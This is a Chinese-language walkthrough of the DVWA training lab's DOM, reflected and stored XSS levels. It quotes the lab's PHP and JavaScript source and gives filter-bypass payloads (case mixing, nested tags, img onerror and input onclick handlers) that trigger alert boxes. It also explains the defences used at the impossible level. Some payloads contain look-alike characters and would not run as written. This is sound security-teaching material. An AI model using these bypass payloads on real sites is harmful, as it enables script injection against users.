参考文献:
DVWA靶场-XSS(DOM型、反射型、存储型)
文章目录
9.DOM型-xss
DOM,文档对象模型(Document Object Model),是W3C组织推荐的处理可扩展置标语言的标准编程接口。它是一种与平台和语言无关的应用程序接口(API),它可以动态地访问程序和脚本,更新其内容、结构和www文档的风格(目前,HTML和XML文档是通过说明部分定义的)。
DOM型-xss,是一种特殊的反射型XSS,基于DOM文档对象模型的一种漏洞。
公共源码如下:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
9.1、low
源码并没有进行什么绕过,因此我们可以直接直接XSS。
?default=<script>alert(/XSS/)</script>
9.2、medium
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
由源码可得,对于字符串“script”进行了过滤,因此我们可以利用其他标签进行过滤。先用</option></select>
将前面的部分过滤,然后再插入其他标签。
img标签
?default=English</option></select><img src=xx οnerrοr=alert(/XSS/)>
input标签
?default=English<input οnclick=alert(/XSS/)>
9.3、high
如下,可见这里用的是白名单过滤,如果填入的不是case中的选项,将默认选择english。
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
绕过:
填写选项,然后把前面的闭合,再填人我们需要的。
img 标签
?default=English&</option></select><img src=xx οnerrοr=alert(/XSS/)>
input标签
?default=English#<input οnclick=alert(/XSS/)>
9.4、impossible
impossible 没有对输入的参数进行URL解码,这样自然就导致无法XSS
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
10.Reflected XSS
10.1、low
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
没有过滤,直接注入。
<script>alert(/XSS/)</script>
10.2、medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
过滤了字符串"script",可以用如下方法绕过。
1.大小写绕过
<ScriPT>alert(/XSS/)</scriPT>
2.嵌套
<sc<script>ript>alert(/XSS/)</script>
3.尝试使用其他标签
- input 标签
English<input οnclick=alert(/XSS/)>
- img 标签
<img src=xx οnerrοr=alert(/XSS/)>
10.3、high
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
过滤了script一切可能,因此我们只能使用其他标签:
<input οnclick=alert(/XSS/)>
<img src=xx οnerrοr=alert(/XSS/)>
10.4、impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
//htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。这样就不会当作脚本来执行了。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ’ (单引号)成为 ’
- < (小于)成为 <
-
(大于)成为 >
提示:如需把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。
11.Stored-xss
11.1、low
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
提示:该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
语法:stripslashes(string)
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
返回值 | 返回已剥离反斜杠的字符串。 |
PHP 版本 | 4+ |
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
语法:trim(string,charlist)
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
charlist | 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符: |
“\0” - NULL | |
“\t” - 制表符 | |
“\n” - 换行 | |
“\x0B” - 垂直制表符 | |
“\r” - 回车 | |
" " - 空格 |
只是对数据库进行了保护,没有做其他处理。
<script>alert(/XSS/)</script>
11.2、medium
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(’)
- 双引号(")
- 反斜杠(\)
- NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。这样就不会当作脚本来执行了。
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释:该函数是二进制安全的。
可见对于message过滤的很彻底,但是对于name只是简单的过滤了一下。因此可以在那么处进行过滤绕过。
- 1.大小写绕过
name: <ScriPT>alert(/XSS/)</scriPT>
message : XXX
- 2.嵌套
name: <sc<script>ript>alert(/XSS/)</script>
message : XXX
- 3.尝试使用其他标签
name: <input οnclick=alert(/XSS/)>
message : XXX
11.3、 high
与medium类似,只能在name进行xss,name将script的所有形式进行了过滤,因此我们之能只用其他标签来进行饶过了。
11.4、impossible
message和name变量都进行了严格的过滤,而且还检测了用户的token,没得办法!
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>